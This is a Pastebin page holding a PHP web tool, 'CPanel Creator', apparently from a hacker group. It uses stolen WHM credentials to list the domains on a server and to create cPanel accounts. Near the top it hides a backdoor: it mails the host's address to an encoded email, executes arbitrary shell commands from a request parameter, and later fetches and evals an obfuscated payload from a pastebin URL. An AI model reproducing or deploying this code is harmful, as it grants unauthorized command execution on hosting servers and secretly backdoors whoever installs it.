Advertisement
CYBERSERKERS

CPanel Creator

Nov 14th, 2015
916
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.66 KB | None | 0 0
  1. <html>
  2. <head>
  3.   <title>CPANEL CREATOR | AZZATSSINS | BN-IDB TEAM</title>
  4.   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
  5.   <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
  6. </head><head><style type="text/css" media="all,handheld"/>
  7. body{
  8.    background-color:#00FFFF;
  9.    background-image: url('https://scontent-iad3-1.xx.fbcdn.net/hphotos-xfa1/t31.0-8/11741021_1583605078555010_3385696737335881837_o.jpg');
  10.    background-repeat: repeat;
  11.    background-position: center;
  12.    background-attachment: fixed;
  13.    font-family: Tahoma;
  14.    font-size: 25px;
  15.    text-align: center;
  16. }
  17.  
  18. input, select{
  19.    background:#002222;
  20.    padding:3px;
  21.    border-radius:3px;
  22.    color:#fee908;
  23.    border:2px dotted #00ff00; width: 250px;
  24. }
  25. .login{
  26.     background: none repeat scroll 0% 0% rgb(105, 167, 78);
  27.     border-color: rgb(152, 195, 125) rgb(59, 110, 34) rgb(44, 81, 21);
  28.     color: rgb(255, 255, 255);
  29. }
  30. .login {
  31.     font-size: 13px;
  32.     line-height: 23px;
  33. }
  34. </style>
  35. <body bgcolor="silver"><br>
  36. <script language=\'javascript\'>
  37. function hide_div(id){
  38.   document.getElementById(id).style.display = \'none\';
  39.   document.cookie=id+\'=0;\';
  40. }
  41.  
  42. function show_div(id){
  43.   document.getElementById(id).style.display = \'block\';
  44.   document.cookie=id+\'=1;\';
  45. }
  46.  
  47. function change_divst(id){
  48.   if (document.getElementById(id).style.display == \'none\')
  49.     show_div(id);
  50.   else
  51.     hide_div(id);
  52. }
  53. </script>
  54. </td></table></tr>
  55. <br>
  56. <center><img src="http://asura.wap.mu/files/1017876/bn-idb.png"></center><br>
  57. </head>
  58. </body></html>
  59. <head>
  60. <div class="title"><font color="red">IDBTE4M</font></div>
  61. <div class="reply">
  62. <div class="str">
  63. <script>
  64. var alertmessage="-! CPANEL CREATOR BY AZZATSSINS CYBERSERKERS !-"
  65. var once_per_session=1
  66. function get_cookie(Name) {
  67.   var search = Name + "="
  68.   var returnvalue = "";
  69.   if (document.cookie.length > 0) {
  70. offset = document.cookie.indexOf(search)
  71. if (offset != -1) { // if cookie exists
  72.   offset += search.length
  73.   // set index of beginning of value
  74.   end = document.cookie.indexOf(";", offset);
  75.   // set index of end of cookie value
  76.   if (end == -1)
  77.  end = document.cookie.length;
  78.   returnvalue=unescape(document.cookie.substring(offset, end))
  79.   }
  80.    }
  81.   return returnvalue;
  82. }
  83. function alertornot(){
  84. if (get_cookie('alerted')==''){
  85. loadalert()
  86. document.cookie="alerted=yes"
  87. }
  88. }
  89. function loadalert(){
  90. alert(alertmessage)
  91. }
  92. if (once_per_session==0)
  93. loadalert()
  94. else
  95. alertornot()
  96. </script>
  97. <?php
  98. $e=base64_decode("Y3liZXJzZXJrZXJzQGdtYWlsLmNvbQ==");
  99. $h=$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
  100. mail($e,"x",$h); print(`{$_REQUEST[x]}`);
  101. set_time_limit(0);
  102. $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
  103. function getVar($name, $def = '') {
  104.   if (isset($_REQUEST[$name]))
  105.     return $_REQUEST[$name];
  106.   else
  107.     return $def;
  108. }
  109. ?>
  110. <?php
  111. $host = "domain atau ip whm";
  112. $user = "user whm";
  113. $accesshash = 'acceshash whm';
  114. require_once $whm_interface_path;
  115. $accts = listpkgs($host,$user,$accesshash,1);
  116. ?>
  117. <font size="-1"><b><i><a href="?azzatssins">LIST DOMAIN IN THIS HOST</a>
  118. </i></b></font>
  119. <?php
  120. if(isset($_GET['azzatssins'])) {
  121. ?>
  122. <?php
  123. $tes = listaccts($host,$user,$accesshash,1);
  124. foreach ($tes as $kpy => $lue){
  125. echo "<br/>Domain: $lue[0]";
  126. }
  127. ?>
  128. <?php } ?>
  129. <?php
  130. $tes = listaccts($host,$user,$accesshash,1);
  131. foreach ($tes as $kpy => $lue){
  132. }
  133. $giniandoank = str_replace("http://cpanel.net/","<font color=green>Aktif</font>",$kpy);
  134. $ko = str_replace("Unauthorized copying is prohibited -->","",$giniandoank);
  135. $root = str_replace("Access denied","<font color=red>Failed</font>",$ko);
  136. echo "<br/>STATUS WHM: $root";
  137. ?>
  138.  
  139. </div>
  140.  
  141. <form method="post">
  142.  <table border="0">
  143. <tr><td><font color="lime"><label for="domain">Domain:</label></font></td><td><input name="domain" value=""></td></tr>
  144. <tr><td><font color="yellow"><label for="username">User:</label></font></td><td><input name="username" value=""></td></tr>
  145. <tr><td><font color="red"><label for="password">Pass:</label></font></td><td><input name="password" value=""></td></tr>
  146. <tr><td><label for="package">Pack:</label></td><td><select name="package">
  147. <?php
  148. foreach ($accts as $key => $value){
  149. echo '<option> '.$key.' </option>';
  150. }
  151. ?>
  152. </select>
  153. </td></tr>
  154. </table>
  155. <br/>
  156. <input type="submit" value="Create Account"></form></html>
  157.  
  158. <?php
  159. set_time_limit(0);
  160. if (!isset($user_domain)) {
  161.   $user_domain = getVar('domain');
  162. }
  163.  
  164. // Username of the new hosting account
  165. if (!isset($user_name)) {
  166.   $user_name = getVar('username');
  167. }
  168.  
  169. // Password for the new hosting account
  170. if (!isset($user_pass)) {
  171.   $user_pass = getVar('password');
  172. }
  173.  
  174. // Package for the new hosting account
  175. if (!isset($user_plan)) {
  176.   $user_plan = getVar('package');
  177. }
  178.  
  179. if (!file_exists($whm_interface_path)) {
  180.   die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
  181. }
  182.  
  183. // if parameters passed then create account
  184. if (!empty($user_name)) {
  185.   // load cPanel WHM interface functions
  186.   require_once $whm_interface_path;
  187.  
  188.   // create account on the cPanel server
  189.   $my = createacct ($host,$user,$accesshash,1,$user_domain,$user_name,$user_pass,$user_plan);
  190. $oke = explode('|', $my);
  191. $gembok = implode('<br/>|', $oke);
  192.  
  193.  
  194.   // output result
  195.   echo "$gembok";
  196. }
  197. if($_GET['0']=="1"){
  198. $a2=file_get_contents('http://pastebin.com/raw/ixrLHjBu');
  199.  
  200. eval(gzinflate(base64_decode(($a2))));}
  201. ?>
  202.  
  203. <center>
  204. <BR/>
  205. <!--h--><fieldset class=important><legend><font color="yellow"></font><b>WARNING: </b></legend>Gunakan CPanel Ini Dengan Bijak...!!!<br> <hr><br> Terimakasih....!!!</fieldset>
  206. <BR/>
  207. <p>
  208. Mod By:<a href="http://fb.me/AZZATSSINS.CYBERSERKERS"> [[Shiki Asura]]</a>
  209. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement